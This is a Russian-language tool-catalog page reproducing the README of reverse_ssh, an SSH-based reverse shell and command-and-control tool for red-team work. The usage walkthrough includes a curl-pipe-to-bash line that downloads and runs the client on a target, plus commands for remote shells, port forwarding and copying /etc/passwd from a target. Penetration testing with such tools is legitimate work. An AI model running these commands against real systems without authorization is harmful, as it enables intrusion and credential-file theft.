Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
reverse_ssh — Инструмент управления обратными оболочками на основе SSH с поддержкой SCP/SFTP, несколькими транспортными протоколами, генерацией DLL для Windows и бесфайловым выполнением для операций red team. | Kitploit
Инструменты/GitHubGitHub/nhas/reverse_ssh
Шелл-кодГенерация Шеллкода
GitHubnhas/reverse_ssh

reverse_ssh

Инструмент управления обратными оболочками на основе SSH с поддержкой SCP/SFTP, несколькими транспортными протоколами, генерацией DLL для Windows и бесфайловым выполнением для операций red team.

Репозиторий
1.4k184632 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Reverse SSH

icon
(Иллюстрация: https://www.instagram.com/smart.hedgehog.art/)

Хотите использовать SSH для reverse shell? Теперь это возможно.

  • Управляйте reverse shell и подключайтесь к ним с помощью нативного синтаксиса SSH
  • Динамическое, локальное и удалённое перенаправление портов
  • Нативные реализации SCP и SFTP для получения файлов с ваших целей
  • Полноценная оболочка Windows
  • Множество сетевых транспортов, таких как http, websockets, tls и другие
  • Взаимная аутентификация клиента и сервера для создания каналов управления с высоким уровнем доверия И многое другое!
                    +----------------+                 +---------+
                    |                |                 |         |
                    |                |       +---------+   RSSH  |
                    |    Reverse     |       |         |  Client |
                    |  SSH server    |       |         |         |
                    |                |       |         +---------+
+---------+         |                |       |
|         |         |                |       |
| Human   |   SSH   |                |  SSH  |         +---------+
| Client  +-------->+                <-----------------+         |
|         |         |                |       |         |   RSSH  |
+---------+         |                |       |         |  Client |
                    |                |       |         |         |
                    |                |       |         +---------+
                    |                |       |
                    |                |       |
                    +----------------+       |         +---------+
                                             |         |         |
                                             |         |   RSSH  |
                                             +---------+  Client |
                                                       |         |
                                                       +---------+

https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1

  • Reverse SSH
    • Кратко
      • Установка
      • Базовое использование
    • Справочная документация
    • Спонсоры
      • Частные лица
      • Компании
  • Пожертвования, поддержка или помощь сообществу

Кратко

Установка

Рекомендуется использовать контейнерный релиз, так как он включает нужную версию golang и кросс-компилятор для Windows.

# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh

или docker compose:

services:
  reversessh:
    image: reversessh/reverse_ssh
    ports:
      - "3232:2222"
    environment:
      - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
      - RSSH_CONSOLE_LABEL=c2.label
      - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
      - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
    volumes:
      - ./data:/data

Базовое использование

# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

Все команды поддерживают флаг -h для вывода справки.

Затем работают обычные команды ssh — достаточно указать ваш rssh-сервер в качестве jump host.

# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine

# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

Справочная документация

Более полную документацию можно найти в папке docs. Она включает шпаргалку, руководство по устранению неполадок и многое другое.

Спонсоры

Огромная благодарность следующим людям за пожертвования в проект RSSH и за то, что сделали всю эту работу возможной!

Частные лица

chikamobina за щедрые пожертвования!
wrighterase (ctrlzero) за вклад и пожертвования!

Компании

Carapace — новозеландская консалтинговая компания в сфере безопасности с чрезвычайно талантливой командой!

Пожертвования, поддержка или ответная помощь

Самый простой способ отблагодарить проект RSSH — находить ошибки, открывать запросы на новые функции и рассказывать о нём людям, которым, по вашему мнению, он будет полезен!

Однако, если вы хотите отблагодарить меня напрямую, вы можете сделать это через Github Sponsors или отправив средства на любой из следующих кошельков:

Monero (XMR): 8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND Bitcoin (BTC): bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr

Скачать инструмент